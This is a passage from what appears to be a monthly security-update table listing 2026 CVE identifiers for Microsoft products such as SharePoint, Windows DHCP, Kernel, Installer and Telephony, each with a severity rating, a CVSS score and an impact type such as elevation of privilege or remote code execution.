Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-62752\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62754\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62766\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62773\n  Windows Kerberos\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61929\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61930\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62708\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-62737\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62749\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62780\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62788\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65773\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62785\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62795\n  Windows LDAP -\n  Lightweight Directory Access Protocol Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62777\n  Windows License\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50472\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62738\n  Windows Management\n  Instrumentation Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70348\n  Windows Management\n  Services Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62717\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62719\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65790\n  Windows Message\n  Queuing Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62688\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62693\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62707\n  Windows Modern Device\n  Management (MDM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56174\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61366\n  Windows Network\n  Connection Broker Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-68819\n  Windows Network File\n  System Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-62700\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62797\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62880\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61350\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-62793\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62796\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62887\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65784\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-68821\n  Windows Package\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62696\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62751\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62690\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62758\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62783\n  Windows Remote Access\n  Connection Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61918\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61921\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61924\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61356\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61364\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61365\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61367\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62692\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62779\n  Windows Schannel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62757\n  Windows Schannel\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-61355\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62770\n  Windows Shell\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62799\n  Windows SMB Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62782\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65794\n  Windows SMB Client\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62790\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62800\n  Windows SMBv3 Server\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61359\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62695\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59132\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62792\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59122\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61353\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62701\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62723\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62724\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62725\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62726\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62729\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62732\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62734\n  Windows Telephony\n  Service 